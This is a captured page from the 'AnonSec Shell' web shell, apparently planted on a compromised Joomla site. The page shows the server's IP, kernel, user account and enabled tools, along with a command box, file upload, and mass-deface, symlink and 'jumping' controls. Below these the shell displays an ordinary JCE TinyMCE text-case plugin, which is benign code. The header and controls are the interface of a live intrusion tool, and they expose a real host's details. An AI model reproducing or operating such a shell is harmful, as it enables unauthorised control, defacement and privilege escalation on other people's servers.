AnonSec Shell
Server IP : 87.98.231.4  /  Your IP : 216.73.217.37   [ Reverse IP ]
Web Server : Apache
System : Linux webm007.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : grupmartgn ( 667608)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/grupmartgn/elanartcrafts/media/com_jce/editor/tinymce/plugins/textcase/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/grupmartgn/elanartcrafts/media/com_jce/editor/tinymce/plugins/textcase//plugin.js
/* jce - 2.9.63 | 2024-03-11 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2024 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
tinymce.create("tinymce.plugins.TextCase", {
    init: function(ed, url) {
        var self = this;
        this.url = url, (this.editor = ed).addCommand("mceUpperCase", function() {
            self._upperCase();
        }), ed.addCommand("mceLowerCase", function() {
            self._lowerCase();
        }), ed.addCommand("mceTitleCase", function() {
            self._titleCase();
        }), ed.addCommand("mceSentenceCase", function() {
            self._sentenceCase();
        }), ed.onNodeChange.add(function(ed, cm, n, co) {
            cm.setDisabled("textcase", co);
        });
    },
    createControl: function(n, cm) {
        var ed = this.editor;
        return "textcase" === n ? ((n = cm.createSplitButton("textcase", {
            title: "textcase.uppercase",
            icon: "uppercase",
            onclick: function() {
                ed.execCommand("mceUpperCase");
            }
        })).onRenderMenu.add(function(c, m) {
            m.add({
                title: "textcase.uppercase",
                icon: "uppercase",
                onclick: function() {
                    ed.execCommand("mceUpperCase");
                }
            }), m.add({
                title: "textcase.lowercase",
                icon: "lowercase",
                onclick: function() {
                    ed.execCommand("mceLowerCase");
                }
            }), m.add({
                title: "textcase.sentencecase",
                icon: "sentencecase",
                onclick: function() {
                    ed.execCommand("mceSentenceCase");
                }
            }), m.add({
                title: "textcase.titlecase",
                icon: "titlecase",
                onclick: function() {
                    ed.execCommand("mceTitleCase");
                }
            });
        }), n) : null;
    },
    _sentenceCase: function() {
        var s = this.editor.selection, text = (text = s.getContent()).toLowerCase().replace(/([\u0000-\u1FFF])/, function(a, b) {
            return b.toUpperCase();
        }).replace(/(\.\s?)([\u0000-\u1FFF])/gi, function(a, b, c) {
            return b + c.toUpperCase();
        });
        s.setContent(text);
    },
    _titleCase: function() {
        var s = this.editor.selection, text = s.getContent();
        text = (text = text.toLowerCase()).replace(/(?:^|\s)[\u0000-\u1FFF]/g, function(match) {
            return match.toUpperCase();
        }), s.setContent(text);
    },
    _lowerCase: function() {
        var s = this.editor.selection, text = s.getContent();
        s.setContent(text.toLowerCase());
    },
    _upperCase: function() {
        var s = this.editor.selection, text = s.getContent();
        s.setContent(text.toUpperCase());
    }
}), tinymce.PluginManager.add("textcase", tinymce.plugins.TextCase);

Anon7 - 2022
AnonSec Team